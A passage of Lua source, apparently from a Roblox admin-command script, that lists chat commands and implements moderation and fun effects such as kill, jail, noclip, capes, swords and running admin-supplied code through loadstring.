  506. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  507. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  508. local ost = {"pa plr","unpa plr","nuke plr"}
  509. local tost = {"oa plr","unoa plr","settings"}
  510. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  511. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  512. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  513. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  514. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  515. end
  516.  
  517. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  518.  
  519. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  520. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  521. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  522. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  523. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  524. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  525. end end
  526.  
  527. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  528. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  529. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  530. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  531. end
  532.  
  533. if msg:lower() == "tools" or msg:lower() == "toollist" then
  534. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  535. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  536. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  537. end
  538.  
  539. if msg:lower():sub(1,2) == "s " then
  540. coroutine.resume(coroutine.create(function()
  541. Output(msg:sub(3), plr)
  542. if script:findFirstChild("ScriptBase") then
  543. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  544. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  545. else loadstring(msg:sub(3))()
  546. end
  547. end))
  548. end
  549.  
  550. if msg:lower():sub(1,3) == "ls " then
  551. coroutine.resume(coroutine.create(function()
  552. if script:findFirstChild("LocalScriptBase") then
  553. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  554. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  555. end
  556. end))
  557. end
  558.  
  559. if msg:lower():sub(1,6) == "lsplr " then
  560. local chk1 = msg:lower():sub(7):find(" ") + 6
  561. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  562. for i, v in pairs(plrz) do
  563. coroutine.resume(coroutine.create(function()
  564. if v and v:findFirstChild("PlayerGui") then
  565. if script:findFirstChild("LocalScriptBase") then
  566. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  567. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  568. end
  569. end
  570. end))
  571. end
  572. end
  573.  
  574. if msg:lower():sub(1,4) == "ins " then
  575. coroutine.resume(coroutine.create(function()
  576. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  577. if obj and #obj:children() >= 1 and plr.Character then
  578. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  579. end
  580. end))
  581. end
  582.  
  583. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  584. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  585. RemoveMessage()
  586. objects = {}
  587. end
  588.  
  589. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  590. game.Lighting.Ambient = origsettings.abt
  591. game.Lighting.Brightness = origsettings.brt
  592. game.Lighting.TimeOfDay = origsettings.time
  593. game.Lighting.FogColor = origsettings.fclr
  594. game.Lighting.FogEnd = origsettings.fe
  595. game.Lighting.FogStart = origsettings.fs
  596. for i, v in pairs(lobjs) do v:Destroy() end
  597. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  598. end
  599.  
  600. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  601. coroutine.resume(coroutine.create(function()
  602. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  603. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  604. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  605. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  606. end))
  607. end
  608.  
  609. if msg:lower():sub(1,10) == "countdown " then
  610. local num = math.min(tonumber(msg:sub(11)),120)
  611. for i = num, 1, -1 do
  612. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  613. wait(1)
  614. end
  615. end
  616.  
  617. if msg:lower():sub(1,3) == "tm " then
  618. local chk1 = msg:lower():sub(4):find(" ") + 3
  619. local num = tonumber(msg:sub(4,chk1-1))
  620. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  621. end
  622.  
  623. if msg:lower():sub(1,2) == "m " then
  624. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  625. end
  626.  
  627. if msg:lower():sub(1,2) == "h " then
  628. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  629. end
  630.  
  631. if msg:lower():sub(1,3) == "pm " then
  632. local chk1 = msg:lower():sub(4):find(" ") + 3
  633. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  634. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  635. end
  636.  
  637. if msg:lower():sub(1,11) == "resetstats " then
  638. local plrz = GetPlr(plr, msg:lower():sub(12))
  639. for i, v in pairs(plrz) do
  640. coroutine.resume(coroutine.create(function()
  641. if v and v:findFirstChild("leaderstats") then
  642. for a, q in pairs(v.leaderstats:children()) do
  643. if q:IsA("IntValue") then q.Value = 0 end
  644. end
  645. end
  646. end))
  647. end
  648. end
  649.  
  650. if msg:lower():sub(1,5) == "gear " then
  651. local chk1 = msg:lower():sub(6):find(" ") + 5
  652. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  653. for i, v in pairs(plrz) do
  654. coroutine.resume(coroutine.create(function()
  655. if v and v:findFirstChild("Backpack") then
  656. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  657. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  658. obj:Destroy()
  659. end
  660. end))
  661. end
  662. end
  663.  
  664. if msg:lower():sub(1,4) == "hat " then
  665. local chk1 = msg:lower():sub(5):find(" ") + 4
  666. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  667. for i, v in pairs(plrz) do
  668. coroutine.resume(coroutine.create(function()
  669. if v and v.Character then
  670. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  671. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  672. obj:Destroy()
  673. end
  674. end))
  675. end
  676. end
  677.  
  678. if msg:lower():sub(1,5) == "cape " then
  679. local chk1 = msg:lower():sub(6):find(" ")
  680. local plrz = GetPlr(plr, msg:lower():sub(6))
  681. local str = "torso.BrickColor"
  682. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  683. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  684. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  685. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  686. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  687. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  688. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  689. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  690. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  691. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  692. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  693. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  694. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  695. if BrickColor.new(teststr) ~= nil then str = teststr end
  696. end
  697. for i, v in pairs(plrz) do
  698. coroutine.resume(coroutine.create(function()
  699. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  700. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  701. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = owner
  702. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  703. local torso = plr.Character.Torso
  704. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  705. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  706. p.Size = Vector3.new(.2,.2,.2)
  707. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  708. local motor1 = Instance.new("Motor", p)
  709. motor1.Part0 = p
  710. motor1.Part1 = torso
  711. motor1.MaxVelocity = .01
  712. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  713. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  714. local wave = false
  715. repeat wait(1/44)
  716. local ang = 0.1
  717. local oldmag = torso.Velocity.magnitude
  718. local mv = .002
  719. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  720. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  721. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  722. motor1.DesiredAngle = -ang
  723. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  724. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  725. if torso.Velocity.magnitude < .1 then wait(.1) end
  726. until not p or p.Parent ~= torso.Parent
  727. script:Destroy()
  728. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  729. end
  730. end))
  731. end
  732. end
  733.  
  734. if msg:lower():sub(1,7) == "uncape " then
  735. local plrz = GetPlr(plr, msg:lower():sub(8))
  736. for i, v in pairs(plrz) do
  737. coroutine.resume(coroutine.create(function()
  738. if v and v:findFirstChild("PlayerGui") and v.Character then
  739. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  740. end
  741. end))
  742. end
  743. end
  744.  
  745. if msg:lower():sub(1,7) == "noclip " then
  746. local plrz = GetPlr(plr, msg:lower():sub(8))
  747. for i, v in pairs(plrz) do
  748. coroutine.resume(coroutine.create(function()
  749. if v and v:findFirstChild("PlayerGui") then
  750. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until owner and owner and owner.Character:findFirstChild("Humanoid") and owner.Character:findFirstChild("Torso") and owner and game.Workspace.CurrentCamera local owner local torso = owner.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true owner.Character.Humanoid.PlatformStand = true owner.Character.Humanoid.Changed:connect(function() owner.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  751. cl.Parent = v.PlayerGui cl.Disabled = false
  752. end
  753. end))
  754. end
  755. end
  756.  
  757. if msg:lower():sub(1,5) == "clip " then
  758. local plrz = GetPlr(plr, msg:lower():sub(6))
  759. for i, v in pairs(plrz) do
  760. coroutine.resume(coroutine.create(function()
  761. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  762. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  763. v.Character.Torso.Anchored = false
  764. wait(.1) v.Character.Humanoid.PlatformStand = false
  765. end
  766. end))
  767. end
  768. end
  769.  
  770. if msg:lower():sub(1,5) == "jail " then
  771. local plrz = GetPlr(plr, msg:lower():sub(6))
  772. for i, v in pairs(plrz) do
  773. coroutine.resume(coroutine.create(function()
  774. if v and v.Character and v.Character:findFirstChild("Torso") then
  775. local vname = v.Name
  776. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  777. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  778. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  779. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  780. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  781. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  782. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  783. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  784. end)
  785. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  786. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  787. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  788. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  789. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  790. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  791. local msh2 = msh:Clone() msh2.Parent = back
  792. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  793. local msh4 = msh3:Clone() msh4.Parent = left
  794. v.Character.Torso.CFrame = cf
  795. end
  796. end))
  797. end
  798. end
  799.  
  800. if msg:lower():sub(1,7) == "unjail " then
  801. local plrz = GetPlr(plr, msg:lower():sub(8))
  802. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  803. end
  804.  
  805. if msg:lower():sub(1,11) == "starttools " then
  806. local plrz = GetPlr(plr, msg:lower():sub(12))
  807. for i, v in pairs(plrz) do
  808. coroutine.resume(coroutine.create(function()
  809. if v and v:findFirstChild("Backpack") then
  810. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  811. end
  812. end))
  813. end
  814. end
  815.  
  816. if msg:lower():sub(1,6) == "sword " then
  817. local plrz = GetPlr(plr, msg:lower():sub(7))
  818. for i, v in pairs(plrz) do
  819. coroutine.resume(coroutine.create(function()
  820. if v and v:findFirstChild("Backpack") then
  821. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  822. sword.GripForward = Vector3.new(-1,0,0)
  823. sword.GripPos = Vector3.new(0,0,-1.5)
  824. sword.GripRight = Vector3.new(0,1,0)
  825. sword.GripUp = Vector3.new(0,0,1)
  826. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  827. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  828. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  829. repeat wait() until owner and owner.Character and owner.Character:findFirstChild("Humanoid")
  830. local Damage = 15
  831. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  832. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  833. SlashSound.Volume = 1
  834. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  835. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  836. LungeSound.Volume = 1
  837. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  838. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  839. UnsheathSound.Volume = 1
  840. local last = 0
  841. script.Parent.Handle.Touched:connect(function(hit)
  842. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and owner.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= owner.Character.Humanoid then
  843. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  844. hit.Parent.Humanoid:TakeDamage(Damage)
  845. end
  846. end)
  847. script.Parent.Activated:connect(function()
  848. if not script.Parent.Enabled or owner.Character.Humanoid.Health <= 0 then return end
  849. script.Parent.Enabled = false
  850. local tick = game:service("RunService").Stepped:wait()
  851. if tick - last <= .2 then
  852. LungeSound:play()
  853. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  854. local frc = Instance.new("BodyVelocity", owner.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  855. wait(.2)
  856. script.Parent.GripForward = Vector3.new(0,0,1)
  857. script.Parent.GripRight = Vector3.new(0,-1,0)
  858. script.Parent.GripUp = Vector3.new(-1,0,0)
  859. wait(.3)
  860. frc:Destroy() wait(.5)
  861. script.Parent.GripForward = Vector3.new(-1,0,0)
  862. script.Parent.GripRight = Vector3.new(0,1,0)
  863. script.Parent.GripUp = Vector3.new(0,0,1)
  864. else
  865. SlashSound:play()
  866. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  867. end
  868. last = tick
  869. script.Parent.Enabled = true
  870. end)
  871. script.Parent.Equipped:connect(function(mouse)
  872. for i,v in pairs(owner.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  873. UnsheathSound:play()
  874. script.Parent.Enabled = true
  875. if not mouse then return end
  876. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  877. end)]] cl.Disabled = false
  878. end
  879. end))
  880. end
  881. end
  882.  
  883. if msg:lower():sub(1,6) == "clone " then
  884. local plrz = GetPlr(plr, msg:lower():sub(7))
  885. for i, v in pairs(plrz) do
  886. coroutine.resume(coroutine.create(function()
  887. if v and v.Character then
  888. v.Character.Archivable = true
  889. local cl = v.Character:Clone()
  890. table.insert(objects,cl)
  891. cl.Parent = game.Workspace
  892. cl:MoveTo(v.Character:GetModelCFrame().p)
  893. cl:MakeJoints()
  894. v.Character.Archivable = false
  895. end
  896. end))
  897. end
  898. end
  899.  
  900. if msg:lower():sub(1,8) == "control " then
  901. local plrz = GetPlr(plr, msg:lower():sub(9))
  902. for i, v in pairs(plrz) do
  903. coroutine.resume(coroutine.create(function()
  904. if v and v.Character then
  905. v.Character.Humanoid.PlatformStand = true
  906. local w = Instance.new("Weld", plr.Character.Torso )
  907. w.Part0 = plr.Character.Torso
  908. w.Part1 = v.Character.Torso
  909. local w2 = Instance.new("Weld", plr.Character.Head)
  910. w2.Part0 = plr.Character.Head
  911. w2.Part1 = v.Character.Head
  912. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  913. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  914. w3.Part1 = v.Character:findFirstChild("Right Arm")
  915. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  916. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  917. w4.Part1 = v.Character:findFirstChild("Left Arm")
  918. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  919. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  920. w5.Part1 = v.Character:findFirstChild("Right Leg")
  921. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  922. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  923. w6.Part1 = v.Character:findFirstChild("Left Leg")
  924. plr.Character.Head.face:Destroy()
  925. for i, p in pairs(v.Character:children()) do
  926. if p:IsA("BasePart") then
  927. p.CanCollide = false
  928. end
  929. end
  930. for i, p in pairs(plr.Character:children()) do
  931. if p:IsA("BasePart") then
  932. p.Transparency = 1
  933. elseif p:IsA("Hat") then
  934. p:Destroy()
  935. end
  936. end
  937. v.Character.Parent = plr.Character
  938. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  939. end
  940. end))
  941. end
  942. end
  943.  
  944. if msg:lower():sub(1,5) == "kill " then
  945. local plrz = GetPlr(plr, msg:lower():sub(6))
  946. for i, v in pairs(plrz) do
  947. coroutine.resume(coroutine.create(function()
  948. if v and v.Character then v.Character:BreakJoints() end
  949. end))
  950. end
  951. end
  952.  
  953. if msg:lower():sub(1,8) == "respawn " then
  954. local plrz = GetPlr(plr, msg:lower():sub(9))
  955. for i, v in pairs(plrz) do
  956. coroutine.resume(coroutine.create(function()
  957. if v and v.Character then v:LoadCharacter() end
  958. end))
  959. end
  960. end
  961.  
  962. if msg:lower():sub(1,5) == "trip " then
  963. local plrz = GetPlr(plr, msg:lower():sub(6))
  964. for i, v in pairs(plrz) do
  965. coroutine.resume(coroutine.create(function()
  966. if v and v.Character and v.Character:findFirstChild("Torso") then
  967. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  968. end
  969. end))
  970. end
  971. end
  972.  
  973. if msg:lower():sub(1,5) == "stun " then
  974. local plrz = GetPlr(plr, msg:lower():sub(6))
  975. for i, v in pairs(plrz) do
  976. coroutine.resume(coroutine.create(function()
  977. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  978. v.Character.Humanoid.PlatformStand = true
  979. end
  980. end))
  981. end
  982. end
  983.  
  984. if msg:lower():sub(1,7) == "unstun " then
  985. local plrz = GetPlr(plr, msg:lower():sub(8))
  986. for i, v in pairs(plrz) do
  987. coroutine.resume(coroutine.create(function()
  988. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  989. v.Character.Humanoid.PlatformStand = false
  990. end
  991. end))
  992. end
  993. end
  994.  
  995. if msg:lower():sub(1,5) == "jump " then
  996. local plrz = GetPlr(plr, msg:lower():sub(6))
  997. for i, v in pairs(plrz) do
  998. coroutine.resume(coroutine.create(function()
  999. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1000. v.Character.Humanoid.Jump = true
  1001. end
  1002. end))
  1003. end
  1004. end
  1005.  
  1006. if msg:lower():sub(1,4) == "sit " then
  1007. local plrz = GetPlr(plr, msg:lower():sub(5))
  1008. for i, v in pairs(plrz) do
  1009. coroutine.resume(coroutine.create(function()
  1010. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1011. v.Character.Humanoid.Sit = true
  1012. end
  1013. end))
  1014. end
  1015. end
  1016.  
  1017. if msg:lower():sub(1,10) == "invisible " then
  1018. local plrz = GetPlr(plr, msg:lower():sub(11))
  1019. for i, v in pairs(plrz) do
  1020. coroutine.resume(coroutine.create(function()
  1021. if v and v.Character then
  1022. for a, obj in pairs(v.Character:children()) do
  1023. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  1024. end
  1025. end
  1026. end))
  1027. end
  1028. end
  1029.  
  1030. if msg:lower():sub(1,8) == "visible " then
  1031. local plrz = GetPlr(plr, msg:lower():sub(9))
  1032. for i, v in pairs(plrz) do
  1033. coroutine.resume(coroutine.create(function()
  1034. if v and v.Character then
  1035. for a, obj in pairs(v.Character:children()) do
  1036. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  1037. end
  1038. end
  1039. end))
  1040. end
  1041. end
  1042.  
  1043. if msg:lower():sub(1,5) == "lock " then
